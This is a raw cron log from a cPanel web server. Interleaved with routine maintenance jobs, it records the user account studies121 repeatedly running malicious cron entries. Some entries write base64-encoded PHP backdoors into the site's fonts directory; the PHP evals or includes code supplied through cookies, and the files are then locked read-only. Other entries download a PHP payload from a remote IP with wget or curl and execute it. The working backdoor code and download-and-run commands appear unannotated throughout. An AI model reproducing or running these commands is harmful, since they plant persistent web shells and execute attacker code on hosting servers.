Sep 12 21:13:01 ip-184-168-122-23 CROND[26151]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:14:01 ip-184-168-122-23 CROND[26265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:14:01 ip-184-168-122-23 CROND[26267]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:14:02 ip-184-168-122-23 CROND[26268]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:14:02 ip-184-168-122-23 CROND[26269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:14:02 ip-184-168-122-23 CROND[26270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:15:01 ip-184-168-122-23 CROND[26442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:15:01 ip-184-168-122-23 CROND[26444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:15:01 ip-184-168-122-23 CROND[26447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:15:01 ip-184-168-122-23 CROND[26445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:15:01 ip-184-168-122-23 CROND[26448]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:15:01 ip-184-168-122-23 CROND[26449]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:16:01 ip-184-168-122-23 CROND[26542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:16:01 ip-184-168-122-23 CROND[26545]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 21:16:01 ip-184-168-122-23 CROND[26544]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:16:01 ip-184-168-122-23 CROND[26547]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:16:01 ip-184-168-122-23 CROND[26546]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:16:01 ip-184-168-122-23 CROND[26548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:17:01 ip-184-168-122-23 CROND[26645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:17:01 ip-184-168-122-23 CROND[26644]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:17:01 ip-184-168-122-23 CROND[26646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:17:01 ip-184-168-122-23 CROND[26647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:18:01 ip-184-168-122-23 CROND[26725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:18:01 ip-184-168-122-23 CROND[26727]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:18:01 ip-184-168-122-23 CROND[26729]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:18:01 ip-184-168-122-23 CROND[26731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:18:01 ip-184-168-122-23 CROND[26732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:19:01 ip-184-168-122-23 CROND[26828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:19:01 ip-184-168-122-23 CROND[26832]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:19:01 ip-184-168-122-23 CROND[26830]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:19:01 ip-184-168-122-23 CROND[26831]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27008]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:20:01 ip-184-168-122-23 CROND[27007]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:20:01 ip-184-168-122-23 CROND[27011]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27013]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27014]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27016]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27017]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 21:20:01 ip-184-168-122-23 CROND[27018]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:21:01 ip-184-168-122-23 CROND[27123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:21:01 ip-184-168-122-23 CROND[27125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:21:01 ip-184-168-122-23 CROND[27126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:21:01 ip-184-168-122-23 CROND[27127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:22:01 ip-184-168-122-23 CROND[27228]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:22:01 ip-184-168-122-23 CROND[27231]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:22:01 ip-184-168-122-23 CROND[27230]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:22:01 ip-184-168-122-23 CROND[27232]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:22:01 ip-184-168-122-23 CROND[27233]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:23:01 ip-184-168-122-23 CROND[27330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:23:01 ip-184-168-122-23 CROND[27334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:23:01 ip-184-168-122-23 CROND[27332]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:23:01 ip-184-168-122-23 CROND[27333]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:24:01 ip-184-168-122-23 CROND[27426]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:24:01 ip-184-168-122-23 CROND[27428]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 21:24:01 ip-184-168-122-23 CROND[27430]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:24:01 ip-184-168-122-23 CROND[27431]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:24:01 ip-184-168-122-23 CROND[27429]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:25:01 ip-184-168-122-23 CROND[27612]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 21:25:01 ip-184-168-122-23 CROND[27613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 21:25:01 ip-184-168-122-23 CROND[27615]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 21:25:01 ip-184-168-122-23 CROND[27617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 21:25:01 ip-184-168-122-23 CROND[27618]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
